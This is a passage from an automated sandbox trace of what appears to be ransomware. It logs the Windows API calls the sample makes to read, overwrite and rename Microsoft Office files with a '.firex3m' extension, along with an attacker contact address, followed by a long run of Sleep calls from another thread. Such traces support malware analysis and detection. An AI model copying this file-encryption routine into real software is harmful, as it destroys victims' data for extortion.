cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0265.570] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0265.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0265.571] GetProcessHeap () returned 0x630000 [0265.571] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3c1) returned 0x699eb0 [0265.571] GetProcessHeap () returned 0x630000 [0265.571] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3c1) returned 0x7149800 [0265.571] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.571] ReadFile (in: hFile=0x5ec, lpBuffer=0x699eb0, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x699eb0*, lpNumberOfBytesRead=0x4abff0c*=0x3a0, lpOverlapped=0x0) returned 1 [0265.576] GetProcessHeap () returned 0x630000 [0265.576] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0265.576] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.576] WriteFile (in: hFile=0x5ec, lpBuffer=0x7149800*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x7149800*, lpNumberOfBytesWritten=0x4abff0c*=0x3a0, lpOverlapped=0x0) returned 1 [0265.576] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.576] WriteFile (in: hFile=0x5ec, lpBuffer=0x7149b9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x7149b9f*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0265.576] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.576] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0265.576] CloseHandle (hObject=0x5ec) returned 1 [0265.576] GetProcessHeap () returned 0x630000 [0265.576] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7149800 | out: hHeap=0x630000) returned 1 [0265.576] GetProcessHeap () returned 0x630000 [0265.576] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699eb0 | out: hHeap=0x630000) returned 1 [0265.576] GetProcessHeap () returned 0x630000 [0265.576] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0265.577] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x643f93cd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3d5, dwReserved0=0xb847496, dwReserved1=0x699ea8, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5040 [0265.577] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0265.577] Sleep (dwMilliseconds=0x1) [0265.604] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp64.msi", len=0x6b | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp64.msi") returned 1 [0265.604] GetProcessHeap () returned 0x630000 [0265.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bc8) returned 0x6fe3bb0 [0265.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp64.msi" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmdp64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0265.609] CloseHandle (hObject=0x6d4) returned 1 [0265.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp64.msi" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmdp64.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp64.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmdp64.msi.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.667] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp64.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45ad988, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45ad988, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45d3b76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x217000, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="osmdp64.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSMDP6~1.FIR")) returned 0x6d54c0 [0265.667] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0265.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp64.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmdp64.msi.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0265.667] GetProcessHeap () returned 0x630000 [0265.667] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70505a0 [0265.667] GetProcessHeap () returned 0x630000 [0265.667] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x731ceb0 [0265.669] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.669] ReadFile (in: hFile=0x6d4, lpBuffer=0x70505a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x70505a0*, lpNumberOfBytesRead=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.774] GetProcessHeap () returned 0x630000 [0273.774] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0273.774] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.774] WriteFile (in: hFile=0x6d4, lpBuffer=0x731ceb0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x731ceb0*, lpNumberOfBytesWritten=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.775] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.775] WriteFile (in: hFile=0x6d4, lpBuffer=0x73282af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x73282af*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0273.777] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.777] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0273.777] CloseHandle (hObject=0x6d4) returned 1 [0273.777] GetProcessHeap () returned 0x630000 [0273.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731ceb0 | out: hHeap=0x630000) returned 1 [0273.777] GetProcessHeap () returned 0x630000 [0273.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70505a0 | out: hHeap=0x630000) returned 1 [0273.779] GetProcessHeap () returned 0x630000 [0273.779] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0273.779] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0273.779] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp64.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45ad988, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45ad988, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6921f654, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x217024, dwReserved0=0xb847496, dwReserved1=0x7050598, cFileName="osmdp64.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSMDP6~1.FIR")) returned 0x6d4f00 [0273.779] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0273.779] Sleep (dwMilliseconds=0x1) [0275.885] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERI____.TTF", len=0x45 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERI____.TTF") returned 1 [0275.886] GetProcessHeap () returned 0x630000 [0275.886] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ae0) returned 0x6fe3bb0 [0275.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERI____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\peri____.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0275.887] CloseHandle (hObject=0x4e8) returned 1 [0275.887] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0275.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERI____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\peri____.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERI____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\peri____.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0275.889] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERI____.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12930, dwReserved0=0x0, dwReserved1=0x0, cFileName="PERI____.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PERI__~1.FIR")) returned 0x6d5400 [0275.889] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0275.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PERI____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\peri____.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0275.889] GetProcessHeap () returned 0x630000 [0275.889] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74b52c0 [0275.889] GetProcessHeap () returned 0x630000 [0275.889] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74c06f0 [0275.889] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.889] ReadFile (in: hFile=0x4e8, lpBuffer=0x74b52c0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x74b52c0*, lpNumberOfBytesRead=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 59 os_tid = 0x126c [0067.525] Sleep (dwMilliseconds=0x1) [0067.539] Sleep (dwMilliseconds=0x1) [0067.552] Sleep (dwMilliseconds=0x1) [0067.656] Sleep (dwMilliseconds=0x1) [0067.661] Sleep (dwMilliseconds=0x1) [0067.680] Sleep (dwMilliseconds=0x1) [0067.693] Sleep (dwMilliseconds=0x1) [0067.711] Sleep (dwMilliseconds=0x1) [0067.724] Sleep (dwMilliseconds=0x1) [0067.742] Sleep (dwMilliseconds=0x1) [0067.762] Sleep (dwMilliseconds=0x1) [0067.773] Sleep (dwMilliseconds=0x1) [0067.788] Sleep (dwMilliseconds=0x1) [0067.933] Sleep (dwMilliseconds=0x1) [0068.043] Sleep (dwMilliseconds=0x1) [0068.147] Sleep (dwMilliseconds=0x1) [0068.282] Sleep (dwMilliseconds=0x1) [0068.393] Sleep (dwMilliseconds=0x1) [0068.492] Sleep (dwMilliseconds=0x1) [0068.545] Sleep (dwMilliseconds=0x1) [0068.697] Sleep (dwMilliseconds=0x1) [0068.747] Sleep (dwMilliseconds=0x1) [0068.792] Sleep (dwMilliseconds=0x1) [0068.843] Sleep (dwMilliseconds=0x1) [0068.883] Sleep (dwMilliseconds=0x1) [0068.935] Sleep (dwMilliseconds=0x1) [0068.976] Sleep (dwMilliseconds=0x1) [0069.048] Sleep (dwMilliseconds=0x1) [0069.105] Sleep (dwMilliseconds=0x1) [0069.159] Sleep (dwMilliseconds=0x1) [0069.198] Sleep (dwMilliseconds=0x1) [0069.249] Sleep (dwMilliseconds=0x1) [0069.292] Sleep (dwMilliseconds=0x1) [0069.378] Sleep (dwMilliseconds=0x1) [0069.435] Sleep (dwMilliseconds=0x1) [0069.483] Sleep (dwMilliseconds=0x1) [0069.523] Sleep (dwMilliseconds=0x1) [0069.689] Sleep (dwMilliseconds=0x1) [0069.919] Sleep (dwMilliseconds=0x1) [0070.146] Sleep (dwMilliseconds=0x1) [0070.263] Sleep (dwMilliseconds=0x1) [0070.382] Sleep (dwMilliseconds=0x1) [0070.534] Sleep (dwMilliseconds=0x1) [0070.869] Sleep (dwMilliseconds=0x1) [0071.569] Sleep (dwMilliseconds=0x1) [0071.941] Sleep (dwMilliseconds=0x1) [0072.430] Sleep (dwMilliseconds=0x1) [0072.606] Sleep (dwMilliseconds=0x1) [0072.800] Sleep (dwMilliseconds=0x1) [0072.906] Sleep (dwMilliseconds=0x1) [0073.099] Sleep (dwMilliseconds=0x1) [0073.607] Sleep (dwMilliseconds=0x1) [0073.776] Sleep (dwMilliseconds=0x1) [0073.977] Sleep (dwMilliseconds=0x1) [0074.057] Sleep (dwMilliseconds=0x1) [0074.181] Sleep (dwMilliseconds=0x1) [0074.380] Sleep (dwMilliseconds=0x1) [0074.671] Sleep (dwMilliseconds=0x1) [0074.771] Sleep (dwMilliseconds=0x1) [0074.849] Sleep (dwMilliseconds=0x1) [0074.908] Sleep (dwMilliseconds=0x1) [0074.997] Sleep (dwMilliseconds=0x1) [0075.063] Sleep (dwMilliseconds=0x1) [0075.103] Sleep (dwMilliseconds=0x1) [0075.160] Sleep (dwMilliseconds=0x1) [0075.219] Sleep (dwMilliseconds=0x1) [0075.260] Sleep (dwMilliseconds=0x1) [0075.308] Sleep (dwMilliseconds=0x1) [0075.358] Sleep (dwMilliseconds=0x1) [0075.424] Sleep (dwMilliseconds=0x1) [0075.509] Sleep (dwMilliseconds=0x1) [0075.571] Sleep (dwMilliseconds=0x1) [0075.608] Sleep (dwMilliseconds=0x1) [0075.694] Sleep (dwMilliseconds=0x1) [0075.746] Sleep (dwMilliseconds=0x1) [0075.790] Sleep (dwMilliseconds=0x1) [0075.833] Sleep (dwMilliseconds=0x1) [0076.046] Sleep (dwMilliseconds=0x1) [0076.061] Sleep (dwMilliseconds=0x1) [0076.085] Sleep (dwMilliseconds=0x1) [0076.105] Sleep (dwMilliseconds=0x1) [0076.188] Sleep (dwMilliseconds=0x1) [0076.389] Sleep (dwMilliseconds=0x1) [0076.532] Sleep (dwMilliseconds=0x1) [0076.670] Sleep (dwMilliseconds=0x1) [0076.772] Sleep (dwMilliseconds=0x1) [0076.807] Sleep (dwMilliseconds=0x1) [0076.844] Sleep (dwMilliseconds=0x1) [0076.870] Sleep (dwMilliseconds=0x1) [0076.922] Sleep (dwMilliseconds=0x1) [0076.983] Sleep (dwMilliseconds=0x1) [0077.070] Sleep (dwMilliseconds=0x1) [0077.153] Sleep (dwMilliseconds=0x1) [0077.224] Sleep (dwMilliseconds=0x1) [0077.287] Sleep (dwMilliseconds=0x1) [0077.362] Sleep (dwMilliseconds=0x1) [0077.410] Sleep (dwMilliseconds=0x1) [0077.522] Sleep (dwMilliseconds=0x1) [0077.595] Sleep (dwMilliseconds=0x1) [0077.651] Sleep (dwMilliseconds=0x1) [0077.687] Sleep (dwMilliseconds=0x1) [0077.740] Sleep (dwMilliseconds=0x1) [0077.780] Sleep (dwMilliseconds=0x1) [0077.835] Sleep (dwMilliseconds=0x1) [0077.854] Sleep (dwMilliseconds=0x1) [0077.907] Sleep (dwMilliseconds=0x1) [0077.963] Sleep (dwMilliseconds=0x1) [0077.977] Sleep (dwMilliseconds=0x1) [0078.000] Sleep (dwMilliseconds=0x1) [0078.086] Sleep (dwMilliseconds=0x1) [0078.117] Sleep (dwMilliseconds=0x1) [0078.135] Sleep (dwMilliseconds=0x1) [0078.192] Sleep (dwMilliseconds=0x1) [0078.224] Sleep (dwMilliseconds=0x1) [0078.237] Sleep (dwMilliseconds=0x1) [0078.254] Sleep (dwMilliseconds=0x1) [0078.271] Sleep (dwMilliseconds=0x1) [0078.287] Sleep (dwMilliseconds=0x1) [0078.313] Sleep (dwMilliseconds=0x1) [0078.361] Sleep (dwMilliseconds=0x1) [0078.378] Sleep (dwMilliseconds=0x1) [0078.514] Sleep (dwMilliseconds=0x1) [0078.535] Sleep (dwMilliseconds=0x1) [0078.558] Sleep (dwMilliseconds=0x1) [0078.572] Sleep (dwMilliseconds=0x1) [0078.608] Sleep (dwMilliseconds=0x1) [0078.629] Sleep (dwMilliseconds=0x1) [0078.643] Sleep (dwMilliseconds=0x1) [0078.662] Sleep (dwMilliseconds=0x1) [0078.673] Sleep (dwMilliseconds=0x1) [0078.707] Sleep (dwMilliseconds=0x1) [0078.722] Sleep (dwMilliseconds=0x1) [0078.737] Sleep (dwMilliseconds=0x1) [0078.755] Sleep (dwMilliseconds=0x1) [0078.769] Sleep (dwMilliseconds=0x1) [0078.787] Sleep (dwMilliseconds=0x1) [0078.836] Sleep (dwMilliseconds=0x1) [0078.887] Sleep (dwMilliseconds=0x1) [0078.931] Sleep (dwMilliseconds=0x1) [0078.941] Sleep (dwMilliseconds=0x1) [0078.963] Sleep (dwMilliseconds=0x1) [0078.974] Sleep (dwMilliseconds=0x1) [0079.007] Sleep (dwMilliseconds=0x1) [0079.027] Sleep (dwMilliseconds=0x1) [0079.035] Sleep (dwMilliseconds=0x1) [0079.047] Sleep (dwMilliseconds=0x1) [0079.085] Sleep (dwMilliseconds=0x1) [0079.096] Sleep (dwMilliseconds=0x1) [0079.119] Sleep (dwMilliseconds=0x1) [0079.127] Sleep (dwMilliseconds=0x1) [0079.162] Sleep (dwMilliseconds=0x1) [0079.222] Sleep (dwMilliseconds=0x1) [0079.253] Sleep (dwMilliseconds=0x1) [0079.267] Sleep (dwMilliseconds=0x1) [0079.289] Sleep (dwMilliseconds=0x1) [0079.298] Sleep (dwMilliseconds=0x1) [0079.318] Sleep (dwMilliseconds=0x1) [0079.327] Sleep (dwMilliseconds=0x1) [0079.350] Sleep (dwMilliseconds=0x1) [0079.359] Sleep (dwMilliseconds=0x1) [0079.390] Sleep (dwMilliseconds=0x1) [0079.416] Sleep (dwMilliseconds=0x1) [0079.423] Sleep (dwMilliseconds=0x1) [0079.446] Sleep (dwMilliseconds=0x1) [0079.517] Sleep (dwMilliseconds=0x1) [0079.542] Sleep (dwMilliseconds=0x1) [0079.546] Sleep (dwMilliseconds=0x1) [0079.600] Sleep (dwMilliseconds=0x1) [0079.611] Sleep (dwMilliseconds=0x1) [0079.628] Sleep (dwMilliseconds=0x1) [0079.642] Sleep (dwMilliseconds=0x1) [0079.660] Sleep (dwMilliseconds=0x1) [0079.676] Sleep (dwMilliseconds=0x1) [0079.695] Sleep (dwMilliseconds=0x1) [0079.730] Sleep (dwMilliseconds=0x1) [0079.744] Sleep (dwMilliseconds=0x1) [0079.800] Sleep (dwMilliseconds=0x1) [0079.816] Sleep (dwMilliseconds=0x1) [0079.830] Sleep (dwMilliseconds=0x1) [0079.891] Sleep (dwMilliseconds=0x1) [0079.915] Sleep (dwMilliseconds=0x1) [0079.933] Sleep (dwMilliseconds=0x1) [0079.938] Sleep (dwMilliseconds=0x1) [0079.986] Sleep (dwMilliseconds=0x1) [0080.048] Sleep (dwMilliseconds=0x1) [0080.070] Sleep (dwMilliseconds=0x1) [0080.084] Sleep (dwMilliseconds=0x1) [0080.100] Sleep (dwMilliseconds=0x1) [0080.136] Sleep (dwMilliseconds=0x1) [0080.161] Sleep (dwMilliseconds=0x1) [0080.173] Sleep (dwMilliseconds=0x1) [0080.238] Sleep (dwMilliseconds=0x1) [0080.260] Sleep (dwMilliseconds=0x1) [0080.269] Sleep (dwMilliseconds=0x1) [0080.285] Sleep (dwMilliseconds=0x1) [0080.301] Sleep (dwMilliseconds=0x1) [0080.316] Sleep (dwMilliseconds=0x1) [0080.343] Sleep (dwMilliseconds=0x1) [0080.361] Sleep (dwMilliseconds=0x1) [0080.384] Sleep (dwMilliseconds=0x1) [0080.392] Sleep (dwMilliseconds=0x1) [0080.410] Sleep (dwMilliseconds=0x1) [0080.426] Sleep (dwMilliseconds=0x1) [0080.442] Sleep (dwMilliseconds=0x1) [0080.502] Sleep (dwMilliseconds=0x1) [0080.527] Sleep (dwMilliseconds=0x1) [0080.544] Sleep (dwMilliseconds=0x1) [0080.567] Sleep (dwMilliseconds=0x1) [0080.582] Sleep (dwMilliseconds=0x1) [0080.605] Sleep (dwMilliseconds=0x1) [0080.614] Sleep (dwMilliseconds=0x1) [0080.660] Sleep (dwMilliseconds=0x1) [0080.673] Sleep (dwMilliseconds=0x1) [0080.704] Sleep (dwMilliseconds=0x1) [0080.722] Sleep (dwMilliseconds=0x1) [0080.765] Sleep (dwMilliseconds=0x1) [0080.787] Sleep (dwMilliseconds=0x1) [0080.805] Sleep (dwMilliseconds=0x1) [0080.819] Sleep (dwMilliseconds=0x1) [0080.836] Sleep (dwMilliseconds=0x1) [0080.847] Sleep (dwMilliseconds=0x1) [0080.888] Sleep (dwMilliseconds=0x1) [0080.918] Sleep (dwMilliseconds=0x1) [0080.922] Sleep (dwMilliseconds=0x1) [0080.942] Sleep (dwMilliseconds=0x1) [0080.957] Sleep (dwMilliseconds=0x1) [0080.978] Sleep (dwMilliseconds=0x1) [0080.989] Sleep (dwMilliseconds=0x1) [0081.004] Sleep (dwMilliseconds=0x1) [0081.017] Sleep (dwMilliseconds=0x1) [0081.037] Sleep (dwMilliseconds=0x1) [0081.048] Sleep (dwMilliseconds=0x1) [0081.287] Sleep (dwMilliseconds=0x1) [0081.438] Sleep (dwMilliseconds=0x1) [0081.525] Sleep (dwMilliseconds=0x1) [0081.543] Sleep (dwMilliseconds=0x1) [0081.557] Sleep (dwMilliseconds=0x1) [0081.567] Sleep (dwMilliseconds=0x1) [0081.580] Sleep (dwMilliseconds=0x1) [0081.602] Sleep (dwMilliseconds=0x1) [0081.611] Sleep (dwMilliseconds=0x1) [0081.631] Sleep (dwMilliseconds=0x1) [0081.662] Sleep (dwMilliseconds=0x1) [0081.685] Sleep (dwMilliseconds=0x1) [0081.712] Sleep (dwMilliseconds=0x1) [0081.755] Sleep (dwMilliseconds=0x1) [0081.778] Sleep (dwMilliseconds=0x1) [0081.835] Sleep (dwMilliseconds=0x1) [0081.846] Sleep (dwMilliseconds=0x1) [0081.888] Sleep (dwMilliseconds=0x1) [0081.912] Sleep (dwMilliseconds=0x1) [0081.924] Sleep (dwMilliseconds=0x1) [0081.944] Sleep (dwMilliseconds=0x1) [0081.965] Sleep (dwMilliseconds=0x1) [0081.989] Sleep (dwMilliseconds=0x1) [0082.000] Sleep 